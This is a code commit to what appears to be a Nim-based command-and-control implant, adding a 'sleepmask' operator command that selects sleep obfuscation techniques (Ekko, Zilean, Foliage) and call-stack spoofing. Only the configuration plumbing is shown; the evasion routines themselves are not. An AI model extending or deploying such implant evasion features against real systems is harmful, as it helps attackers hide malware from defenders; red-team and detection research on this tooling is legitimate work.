Implemented dynamic sleepmask configuration command.
This commit is contained in:
@@ -2,6 +2,7 @@ import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
@@ -11,12 +12,23 @@ let module* = Module(
|
||||
Command(
|
||||
name: protect("sleep"),
|
||||
commandType: CMD_SLEEP,
|
||||
description: protect("Update sleep delay configuration."),
|
||||
description: protect("Update sleep delay settings."),
|
||||
example: protect("sleep 5"),
|
||||
arguments: @[
|
||||
Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true)
|
||||
],
|
||||
execute: executeSleep
|
||||
),
|
||||
Command(
|
||||
name: protect("sleepmask"),
|
||||
commandType: CMD_SLEEPMASK,
|
||||
description: protect("Update sleepmask settings."),
|
||||
example: protect("sleepmask ekko true"),
|
||||
arguments: @[
|
||||
Argument(name: protect("technique"), description: protect("Sleep obfuscation technique (NONE, EKKO, ZILEAN, FOLIAGE). Executing without arguments retrieves current sleepmask settings."), argumentType: STRING, isRequired: false),
|
||||
Argument(name: protect("spoof"), description: protect("Use stack spoofing to obfuscate the call stack."), argumentType: BOOL, isRequired: false)
|
||||
],
|
||||
execute: executeSleepmask
|
||||
)
|
||||
]
|
||||
)
|
||||
@@ -24,6 +36,7 @@ let module* = Module(
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
@@ -45,3 +58,32 @@ when defined(agent):
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
try:
|
||||
echo fmt" [>] Updating sleepmask settings."
|
||||
|
||||
case int(task.argCount):
|
||||
of 0:
|
||||
# Retrieve sleepmask settings
|
||||
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}" & "\n"
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
|
||||
|
||||
of 1:
|
||||
# Only set the sleepmask technique
|
||||
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
|
||||
ctx.sleepTechnique = technique
|
||||
|
||||
else:
|
||||
# Set sleepmask technique and stack-spoofing configuration
|
||||
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
|
||||
ctx.sleepTechnique = technique
|
||||
|
||||
let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte
|
||||
ctx.spoofStack = spoofStack
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
Reference in New Issue
Block a user